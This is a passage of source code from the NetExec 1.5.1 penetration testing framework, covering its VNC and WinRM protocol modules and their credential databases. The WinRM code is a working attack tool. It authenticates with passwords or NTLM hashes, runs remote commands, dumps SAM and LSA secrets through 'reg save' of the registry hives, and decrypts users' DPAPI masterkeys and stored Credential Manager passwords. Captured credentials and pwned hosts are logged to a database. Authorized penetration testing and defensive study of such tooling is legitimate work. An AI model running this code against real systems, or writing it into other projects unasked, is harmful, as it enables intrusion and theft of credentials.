os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") def screenshot(self): asyncio.run(self.screen()) NetExec-1.5.1/nxc/protocols/vnc/000077500000000000000000000000001514706431700164635ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/vnc/__init__.py000066400000000000000000000000001514706431700205620ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/vnc/database.py000066400000000000000000000025371514706431700206100ustar00rootroot00000000000000import warnings from sqlalchemy import Column, Integer, PrimaryKeyConstraint, String from sqlalchemy.exc import SAWarning from sqlalchemy.orm import declarative_base from nxc.database import BaseDB # if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings warnings.filterwarnings("ignore", category=SAWarning) Base = declarative_base() class database(BaseDB): def __init__(self, db_engine): self.HostsTable = None self.CredentialsTable = None super().__init__(db_engine) class Credential(Base): __tablename__ = "credentials" id = Column(Integer) username = Column(String) password = Column(String) pkey = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) class Host(Base): __tablename__ = "hosts" id = Column(Integer) ip = Column(String) hostname = Column(String) port = Column(Integer) server_banner = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) def reflect_tables(self): self.HostsTable = self.reflect_table(self.Host) self.CredentialsTable = self.reflect_table(self.Credential) NetExec-1.5.1/nxc/protocols/vnc/db_navigator.py000066400000000000000000000010251514706431700214720ustar00rootroot00000000000000from nxc.nxcdb import DatabaseNavigator, print_help class navigator(DatabaseNavigator): def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() def help_clear_database(self): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) NetExec-1.5.1/nxc/protocols/vnc/proto_args.py000066400000000000000000000013111514706431700212100ustar00rootroot00000000000000from nxc.helpers.args import DisplayDefaultsNotNone def proto_args(parser, parents): vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=parents, formatter_class=DisplayDefaultsNotNone) vnc_parser.add_argument("--port", type=int, default=5900, help="VNC port") vnc_parser.add_argument("--vnc-sleep", type=int, default=5, help="VNC Sleep on socket connection to avoid rate limit") egroup = vnc_parser.add_argument_group("Screenshot", "VNC Server") egroup.add_argument("--screenshot", action="store_true", help="Screenshot VNC if connection success") egroup.add_argument("--screentime", type=int, default=5, help="Time to wait for desktop image") return parser NetExec-1.5.1/nxc/protocols/winrm.py000066400000000000000000000575071514706431700174210ustar00rootroot00000000000000import os import base64 import traceback import requests import urllib3 import logging import ntpath import xml.etree.ElementTree as ET from pypsrp.wsman import NAMESPACES from pypsrp.client import Client from pypsrp.powershell import PSDataStreams from termcolor import colored from dploot.lib.utils import is_guid, is_credfile from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, deriveKeysFromUser, DPAPI_BLOB, CREDENTIAL_BLOB from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes from impacket.uuid import bin_to_string from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.logger import highlight from nxc.helpers.misc import gen_random_string from nxc.helpers.ntlm_parser import parse_challenge from nxc.logger import NXCAdapter from nxc.paths import TMP_PATH urllib3.disable_warnings() class winrm(connection): def __init__(self, args, db, host): self.domain = "" self.targedDomain = "" self.server_os = None self.endpoint = None self.lmhash = "" self.nthash = "" self.ssl = False self.challenge_header = None self.targetDomain = None self.no_ntlm = False connection.__init__(self, args, db, host) def proto_logger(self): # For more details, please check the function "print_host_info" logging.getLogger("pypsrp").disabled = True logging.getLogger("pypsrp.wsman").disabled = True self.logger = NXCAdapter( extra={ "protocol": "WINRM", "host": self.host, "port": "5985", "hostname": self.hostname, } ) def enum_host_info(self): try: ntlm_info = parse_challenge(base64.b64decode(self.challenge_header.split(" ")[1].replace(",", ""))) except Exception as e: self.logger.debug(f"Error parsing NTLM challenge: {e!s}") self.logger.debug(f"Raw challenge: {self.challenge_header.split(' ')[1].replace(',', '')[:20]}...") self.logger.error("Invalid NTLM challenge received from server. This may indicate NTLM is not supported and nxc winrm only support NTLM currently") self.no_ntlm = True return False self.targetDomain = self.domain = ntlm_info["domain"] self.hostname = ntlm_info["hostname"] self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os) if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname def print_host_info(self): self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM" self.logger.extra["port"] = self.port ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain}) {ntlm}") def create_conn_obj(self): if self.is_link_local_ipv6: self.logger.fail("winrm not support link-local ipv6, exiting...") return False endpoints = {} headers = { "Content-Length": "0", "Keep-Alive": "true", "Content-Type": "application/soap+xml;charset=UTF-8", "User-Agent": "Microsoft WinRM Client", "Authorization": "Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" } for protocol in self.args.check_proto: endpoints[protocol] = {} endpoints[protocol]["port"] = self.port[self.args.check_proto.index(protocol)] if len(self.port) == 2 else self.port[0] endpoints[protocol]["url"] = "{}://{}:{}/wsman".format( protocol, self.host if not self.is_ipv6 else f"[{self.host}]", endpoints[protocol]["port"] ) endpoints[protocol]["ssl"] = (protocol != "http") for protocol in endpoints: self.port = endpoints[protocol]["port"] try: self.logger.debug(f"Requesting URL: {endpoints[protocol]['url']}") res = requests.post(endpoints[protocol]["url"], headers=headers, verify=False, timeout=self.args.http_timeout) self.logger.debug(f"Received response code: {res.status_code}") self.challenge_header = res.headers["WWW-Authenticate"] if (not self.challenge_header) or ("Negotiate" not in self.challenge_header): self.logger.info('Failed to get NTLM challenge from target "/wsman" endpoint, maybe isn\'t winrm service.') return False self.endpoint = endpoints[protocol]["url"] self.ssl = endpoints[protocol]["ssl"] return True except requests.exceptions.Timeout as e: self.logger.info(f"Connection Timed out to WinRM service: {e}") except requests.exceptions.ConnectionError as e: if "Max retries exceeded with url" in str(e): self.logger.info("Connection Timeout to WinRM service (max retries exceeded)") else: self.logger.info(f"Other ConnectionError to WinRM service: {e}") return False def check_if_admin(self): wsman = self.conn.wsman wsen = NAMESPACES["wsen"] wsmn = NAMESPACES["wsman"] enum_msg = ET.Element(f"{{{wsen}}}Enumerate") ET.SubElement(enum_msg, f"{{{wsmn}}}OptimizeEnumeration") ET.SubElement(enum_msg, f"{{{wsmn}}}MaxElements").text = "32000" wsman.enumerate("http://schemas.microsoft.com/wbem/wsman/1/windows/shell", enum_msg) self.admin_privs = True return True def plaintext_login(self, domain, username, password): # Add server hostname to the Workstation field in NTLM Authenticate Message (Message 3) # This helps fix false negatives during NTLM auth — see issue #694 for details os.environ["NETBIOS_COMPUTER_NAME"] = self.hostname self.admin_privs = False self.password = password self.username = username self.domain = domain try: self.conn = Client( self.host, port=self.port, auth="ntlm", username=f"{self.domain}\\{self.username}", password=self.password, ssl=self.ssl, cert_validation=False, ) self.check_if_admin() self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) user_id = self.db.get_credential("plaintext", domain, self.username, self.password) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: self.logger.debug("Inside admin privs") self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id) # , user_id=user_id) add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) if not self.args.local_auth and self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) return True except Exception as e: if "with ntlm" in str(e): self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)}") else: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {e!s}") return False def hash_login(self, domain, username, ntlm_hash): # Add server hostname to the Workstation field in NTLM Authenticate Message (Message 3) # This helps fix false negatives during NTLM auth — see issue #694 for details os.environ["NETBIOS_COMPUTER_NAME"] = self.hostname self.admin_privs = False lmhash = "00000000000000000000000000000000" nthash = "" self.username = username # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") else: nthash = ntlm_hash self.lmhash = lmhash self.nthash = nthash self.domain = domain try: self.conn = Client( self.host, port=self.port, auth="ntlm", username=f"{self.domain}\\{self.username}", password=f"{self.lmhash}:{self.nthash}", ssl=self.ssl, cert_validation=False, ) self.check_if_admin() self.logger.success(f"{self.domain}\\{self.username}:{process_secret(nthash)} {self.mark_pwned()}") self.db.add_credential("hash", domain, self.username, ntlm_hash) user_id = self.db.get_credential("hash", domain, self.username, ntlm_hash) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id) add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) if not self.args.local_auth and self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) return True except Exception as e: if "with ntlm" in str(e): self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.nthash)}") else: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {e!s}") return False def execute(self, payload=None, get_output=False, shell_type="cmd"): if not payload: payload = self.args.execute try: result = self.conn.execute_cmd(payload, encoding=self.args.codec) if shell_type == "cmd" else self.conn.execute_ps(payload) except Exception as e: # Reference: https://github.com/diyan/pywinrm/issues/275 if hasattr(e, "code") and e.code == 5: self.logger.fail(f"Execute command failed, current user: '{self.domain}\\{self.username}' has no 'Invoke' rights to execute command (shell type: {shell_type})") if shell_type == "cmd": self.logger.info("Cannot execute command via cmd, the user probably does not have invoke rights with Root WinRM listener - now switching to Powershell to attempt execution") self.execute(payload, get_output, shell_type="powershell") elif ("decode" in str(e)) and not get_output: self.logger.success(f"Executed command (shell type: {shell_type})") else: self.logger.fail(f"Execute command failed, error: {e!s}") else: if get_output: return result[0] self.logger.success(f"Executed command (shell type: {shell_type})") if not self.args.no_output: if shell_type == "powershell": result: tuple[str, PSDataStreams, bool] if result[2]: self.logger.fail("Error executing powershell command, non-zero return code") for out_type in ["debug", "verbose", "information", "progress", "warning", "error"]: stream: list[str] = getattr(result[1], out_type) for msg in stream: if str(msg) != "None": if out_type == "error": self.logger.fail(str(msg).rstrip()) else: self.logger.display(str(msg).rstrip()) # Display stdout for line in result[0].splitlines(): self.logger.highlight(line.rstrip()) else: # Tuple of (stdout, stderr, returncode) result: tuple[str, str, int] if result[2] == 0: for line in result[0].replace("\r", "").splitlines(): self.logger.highlight(line.rstrip()) else: for line in result[1].replace("\r", "").splitlines(): self.logger.fail(line.rstrip()) def ps_execute(self, payload=None, get_output=False): command = payload if payload else self.args.ps_execute result = self.execute(payload=command, get_output=get_output, shell_type="powershell") if get_output: return result # Dos attack prevent: # if someboby executed "reg save HKLM\sam C:\windows\temp\sam" before, but didn't remove "C:\windows\temp\sam" file, # when user execute the same command next time, in tty shell, the prompt will ask "File C:\windows\temp\sam already exists. Overwrite (Yes/No)?" # but in here, it isn't not a tty shell, pypsrp will do a crazy loop command execution when it didn't get any response (stuck in "Yes/No" prompt) # and it will make target host OOM error just like dos attack. # To prevent that, just make the store file name randomly. def sam(self): sam_storename = gen_random_string(6) system_storename = gen_random_string(6) dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}" clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}" output_filename = self.output_file_template.format(output_folder="sam") try: self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'") self.conn.fetch(f"C:\\windows\\temp\\{sam_storename}", output_filename + ".sam") self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", output_filename + ".system") self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'") except Exception as e: if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)): self.logger.fail("Failed to dump SAM hashes, it may have been detected by AV or current user is not privileged user") elif hasattr(e, "code") and e.code == 5: self.logger.fail(f"Dump SAM hashes with {self.args.dump_method} failed, please try '--dump-method'") else: self.logger.fail(f"Failed to dump SAM hashes, error: {e!s}") else: self.logger.display("Dumping SAM hashes") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() SAM = SAMHashes( f"{output_filename}.sam", boot_key, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret), ) SAM.dump() SAM.export(output_filename) def lsa(self): security_storename = gen_random_string(6) system_storename = gen_random_string(6) dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}" clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}" output_filename = self.output_file_template.format(output_folder="lsa") try: self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'") self.conn.fetch(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security") self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'") except Exception as e: if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)): self.logger.fail("Failed to dump LSA secrets, it may have been detected by AV or current user is not privileged user") elif hasattr(e, "code") and e.code == 5: self.logger.fail(f"Dump LSA secrets with {self.args.dump_method} failed, please try '--dump-method'") else: self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}") else: self.logger.display("Dumping LSA secrets") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() LSA = LSASecrets( f"{output_filename}.security", boot_key, None, isRemote=None, perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), ) LSA.dumpCachedHashes() LSA.dumpSecrets() def dpapi(self): """ Find and unlock Credential Manager masterkeys and credentials owned by user. The flow is inspired by and a simplified version of dploot's triage methods for user masterkeys and credentials. Actual decryption of keys and credentials is taken and adapted from impacket-dpapi. """ user_masterkey_path = ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Protect") user_credentials_paths = [ ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Credentials"), ntpath.join("C:\\Users", self.username, "AppData\\Local\\Microsoft\\Credentials") ] self.logger.display("Collecting DPAPI masterkeys...") sids = self.ps_execute(f"Get-ChildItem -Path {user_masterkey_path} -Name -Directory -Include 'S-*'", True) if not sids: self.logger.fail(f"No masterkeys found for user {self.username}") return masterkeys = [] for sid in sids.splitlines(): keys_path = ntpath.join(user_masterkey_path, sid.strip()) keys = self.ps_execute(f"Get-ChildItem -Path {keys_path} -Name -Hidden -File -Exclude 'Preferred'", True) for key in keys.splitlines(): stripped_key = key.strip() if is_guid(stripped_key): key_path = ntpath.join(keys_path, stripped_key) self.logger.debug(f"Found masterkey file {key_path}") local_key_file = f"{TMP_PATH}/{stripped_key}" self.conn.fetch(key_path, local_key_file) decrypted_key = self.get_master_key(local_key_file, sid, self.password) if decrypted_key: masterkeys.append((stripped_key, decrypted_key)) if not masterkeys: self.logger.fail("Could not decrypt any keys") return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") credential_files = [] for user_credentials_path in user_credentials_paths: creds = self.ps_execute(f"Get-ChildItem -Path {user_credentials_path} -Name -Hidden -File", True) for cred_file in creds.splitlines(): stripped_cred_file = cred_file.strip() if is_credfile(stripped_cred_file): creds_path = ntpath.join(user_credentials_path, stripped_cred_file) self.logger.debug(f"Found credentials file {creds_path}") local_cred_file = f"{TMP_PATH}/{stripped_cred_file}" self.conn.fetch(creds_path, local_cred_file) credential_files.append(local_cred_file) if not credential_files: self.log.fail(f"No credential files found for user {self.username}") return for creds_file in credential_files: with open(creds_file, "rb") as fp: data = fp.read() cred = CredentialFile(data) blob = DPAPI_BLOB(cred["Data"]) guid_masterkey = bin_to_string(blob["GuidMasterKey"]) right_key = next((key for guid, key in masterkeys if guid.lower() == guid_masterkey.lower()), None) if right_key is not None: try: decrypted = blob.decrypt(right_key) if decrypted is not None: self.logger.debug(f"Successfully decrypted credentials in {creds_file}:") creds = CREDENTIAL_BLOB(decrypted) if creds["Unknown3"] != b"": target = creds["Target"].decode("utf-16le") username = creds["Username"].decode("utf-16le") try: password = creds["Unknown3"].decode("utf-16le") except UnicodeDecodeError: password = creds["Unknown3"].decode("latin-1") self.logger.highlight(f"{target} - {username}:{password}") except Exception as e: self.logger.fail(f"Failed to decrypt credentials in {creds_file} with masterkey: {e!s}") self.logger.debug(traceback.format_exc()) else: self.logger.fail(f"No matching masterkey found for credentials in {creds_file} (need {guid_masterkey})") def get_master_key(self, masterkey_file, sid, password): """ Taken and adapted from impacket.examples.dpapi Could be cleaned up but the more we deviate from the original the harder it will be to maintain it """ with open(masterkey_file, "rb") as fp: data = fp.read() mkf = MasterKeyFile(data) data = data[len(mkf):] if mkf["MasterKeyLen"] > 0: mk = MasterKey(data[:mkf["MasterKeyLen"]]) data = data[len(mk):] if mkf["BackupKeyLen"] > 0: bkmk = MasterKey(data[:mkf["BackupKeyLen"]]) data = data[len(bkmk):] if mkf["CredHistLen"] > 0: ch = CredHist(data[:mkf["CredHistLen"]]) data = data[len(ch):] if mkf["DomainKeyLen"] > 0: dk = DomainKey(data[:mkf["DomainKeyLen"]]) data = data[len(dk):] key1, key2, key3 = deriveKeysFromUser(sid, password) # if mkf['flags'] & 4 ? SHA1 : MD4 decryptedKey = mk.decrypt(key3) if decryptedKey: self.logger.debug("Decrypted key with User Key (MD4 protected)") return decryptedKey decryptedKey = mk.decrypt(key2) if decryptedKey: self.logger.debug("Decrypted key with User Key (MD4)") return decryptedKey decryptedKey = mk.decrypt(key1) if decryptedKey: self.logger.debug("Decrypted key with User Key (SHA1)") return decryptedKey decryptedKey = bkmk.decrypt(key3) if decryptedKey: self.logger.debug("Decrypted Backup key with User Key (MD4 protected)") return decryptedKey decryptedKey = bkmk.decrypt(key2) if decryptedKey: self.logger.debug("Decrypted Backup key with User Key (MD4)") return decryptedKey decryptedKey = bkmk.decrypt(key1) if decryptedKey: self.logger.debug("Decrypted Backup key with User Key (SHA1)") return decryptedKey NetExec-1.5.1/nxc/protocols/winrm/000077500000000000000000000000001514706431700170315ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/winrm/__init__.py000066400000000000000000000000001514706431700211300ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/winrm/database.py000066400000000000000000000356121514706431700211560ustar00rootroot00000000000000from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, select, func, delete from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import declarative_base from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger Base = declarative_base() class database(BaseDB): def __init__(self, db_engine): self.HostsTable = None self.UsersTable = None self.AdminRelationsTable = None self.LoggedinRelationsTable = None super().__init__(db_engine) class Host(Base): __tablename__ = "hosts" id = Column(Integer) ip = Column(String) port = Column(Integer) hostname = Column(String) domain = Column(String) os = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) class User(Base): __tablename__ = "users" id = Column(Integer) domain = Column(String) username = Column(String) password = Column(String) credtype = Column(String) pillaged_from_hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["pillaged_from_hostid"], ["hosts.id"]), ) class AdminRelation(Base): __tablename__ = "admin_relations" id = Column(Integer) userid = Column(Integer) hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["userid"], ["users.id"]), ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) class LoggedInRelation(Base): __tablename__ = "loggedin_relations" id = Column(Integer) userid = Column(Integer) hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["userid"], ["users.id"]), ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) def reflect_tables(self): self.HostsTable = self.reflect_table(self.Host) self.UsersTable = self.reflect_table(self.User) self.AdminRelationsTable = self.reflect_table(self.AdminRelation) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) def add_host(self, ip, port, hostname, domain, os=None): """ Check if this host has already been added to the database, if not, add it in. TODO: return inserted or updated row ids as a list """ hosts = [] q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) results = self.db_execute(q).all() nxc_logger.debug(f"smb add_host() - hosts returned: {results}") # create new host if not results: new_host = { "ip": ip, "port": port, "hostname": hostname, "domain": domain, "os": os, } hosts = [new_host] # update existing hosts data else: for host in results: host_data = host._asdict() # only update column if it is being passed in if ip is not None: host_data["ip"] = ip if port is not None: host_data["port"] = port if hostname is not None: host_data["hostname"] = hostname if domain is not None: host_data["domain"] = domain if os is not None: host_data["os"] = os # only add host to be updated if it has changed if host_data not in hosts: hosts.append(host_data) nxc_logger.debug(f"Update Hosts: {hosts}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) self.db_execute(q, hosts) def add_credential(self, credtype, domain, username, password, pillaged_from=None): """Check if this credential has already been added to the database, if not add it in.""" credentials = [] credential_data = {} if credtype is not None: credential_data["credtype"] = credtype if domain is not None: credential_data["domain"] = domain if username is not None: credential_data["username"] = username if password is not None: credential_data["password"] = password if pillaged_from is not None: credential_data["pillaged_from"] = pillaged_from q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), func.lower(self.UsersTable.c.credtype) == func.lower(credtype), ) results = self.db_execute(q).all() # add new credential if not results: new_cred = { "credtype": credtype, "domain": domain, "username": username, "password": password, "pillaged_from": pillaged_from, } credentials = [new_cred] # update existing cred data else: for creds in results: # this will include the id, so we don't touch it cred_data = creds._asdict() # only update column if it is being passed in if credtype is not None: cred_data["credtype"] = credtype if domain is not None: cred_data["domain"] = domain if username is not None: cred_data["username"] = username if password is not None: cred_data["password"] = password if pillaged_from is not None: cred_data["pillaged_from"] = pillaged_from # only add cred to be updated if it has changed if cred_data not in credentials: credentials.append(cred_data) # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users) self.db_execute(q_users, credentials) # .scalar() def remove_credentials(self, creds_id): """Removes a credential ID from the database""" del_hosts = [] for cred_id in creds_id: q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id) del_hosts.append(q) self.db_execute(q) def add_admin_user(self, credtype, domain, username, password, host, user_id=None): domain = domain.split(".")[0] add_links = [] creds_q = select(self.UsersTable) if user_id: # noqa: SIM108 creds_q = creds_q.filter(self.UsersTable.c.id == user_id) else: creds_q = creds_q.filter( func.lower(self.UsersTable.c.credtype) == func.lower(credtype), func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), self.UsersTable.c.password == password, ) users = self.db_execute(creds_q) hosts = self.get_hosts(host) if users and hosts: for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} admin_relations_select = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.userid == user_id, self.AdminRelationsTable.c.hostid == host_id, ) links = self.db_execute(admin_relations_select).all() if not links: add_links.append(link) admin_relations_insert = Insert(self.AdminRelationsTable) self.db_execute(admin_relations_insert, add_links) def get_admin_relations(self, user_id=None, host_id=None): if user_id: q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id) elif host_id: q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) return self.db_execute(q).all() def remove_admin_relation(self, user_ids=None, host_ids=None): q = delete(self.AdminRelationsTable) if user_ids: for user_id in user_ids: q = q.filter(self.AdminRelationsTable.c.userid == user_id) elif host_ids: for host_id in host_ids: q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.db_execute(q) def is_credential_valid(self, credential_id): """Check if this credential ID is valid.""" q = select(self.UsersTable).filter( self.UsersTable.c.id == credential_id, self.UsersTable.c.password is not None, ) results = self.db_execute(q).all() return len(results) > 0 def get_credentials(self, filter_term=None, cred_type=None): """Return credentials from the database.""" # if we're returning a single credential by ID if self.is_credential_valid(filter_term): q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) elif cred_type: q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.UsersTable) return self.db_execute(q).all() def get_credential(self, cred_type, domain, username, password): q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, self.UsersTable.c.username == username, self.UsersTable.c.password == password, self.UsersTable.c.credtype == cred_type, ) results = self.db_execute(q).first() return results.id def is_credential_local(self, credential_id): q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id) user_domain = self.db_execute(q).all() if user_domain: q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain)) results = self.db_execute(q).all() return len(results) > 0 def is_host_valid(self, host_id): """Check if this host ID is valid.""" q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.db_execute(q).all() return len(results) > 0 def get_hosts(self, filter_term=None): """Return hosts from the database.""" q = select(self.HostsTable) # if we're returning a single host by ID if self.is_host_valid(filter_term): q = q.filter(self.HostsTable.c.id == filter_term) results = self.db_execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by domain controllers elif filter_term is not None and filter_term.startswith("domain"): domain = filter_term.split()[1] like_term = func.lower(f"%{domain}%") q = q.filter(self.HostsTable.c.domain.like(like_term)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) results = self.db_execute(q).all() nxc_logger.debug(f"winrm get_hosts() - results: {results}") return results def is_user_valid(self, user_id): """Check if this User ID is valid.""" q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id) results = self.db_execute(q).all() return len(results) > 0 def get_users(self, filter_term=None): q = select(self.UsersTable) if self.is_user_valid(filter_term): q = q.filter(self.UsersTable.c.id == filter_term) # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = q.filter(func.lower(self.UsersTable.c.username).like(like_term)) return self.db_execute(q).all() def get_user(self, domain, username): q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), ) return self.db_execute(q).all() def add_loggedin_relation(self, user_id, host_id): relation_query = select(self.LoggedinRelationsTable).filter( self.LoggedinRelationsTable.c.userid == user_id, self.LoggedinRelationsTable.c.hostid == host_id, ) results = self.db_execute(relation_query).all() # only add one if one doesn't already exist if not results: relation = {"userid": user_id, "hostid": host_id} try: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) self.db_execute(q, [relation]) # .scalar() except Exception as e: nxc_logger.debug(f"Error inserting LoggedinRelation: {e}") def get_loggedin_relations(self, user_id=None, host_id=None): q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) if user_id: q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) if host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) return self.db_execute(q).all() def remove_loggedin_relations(self, user_id=None, host_id=None): q = delete(self.LoggedinRelationsTable) if user_id: q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) elif host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.db_execute(q) NetExec-1.5.1/nxc/protocols/winrm/db_navigator.py000066400000000000000000000213401514706431700220420ustar00rootroot00000000000000from nxc.nxcdb import DatabaseNavigator, print_help, print_table from nxc.helpers.misc import validate_ntlm class navigator(DatabaseNavigator): def display_creds(self, creds): data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]] for cred in creds: cred_id = cred[0] domain = cred[1] username = cred[2] password = cred[3] credtype = cred[4] links = self.db.get_admin_relations(user_id=cred_id) data.append( [ cred_id, str(len(links)) + " Host(s)", credtype, domain, username, password, ] ) print_table(data, title="Credentials") def display_hosts(self, hosts): data = [["HostID", "Admins", "IP", "Port", "Hostname", "Domain", "OS"]] for host in hosts: host_id = host[0] ip = host[1] port = host[2] hostname = host[3] domain = host[4] try: os = host[5].decode() except Exception: os = host[5] links = self.db.get_admin_relations(host_id=host_id) data.append( [ host_id, str(len(links)) + " Cred(s)", ip, port, hostname, domain, os, ] ) print_table(data, 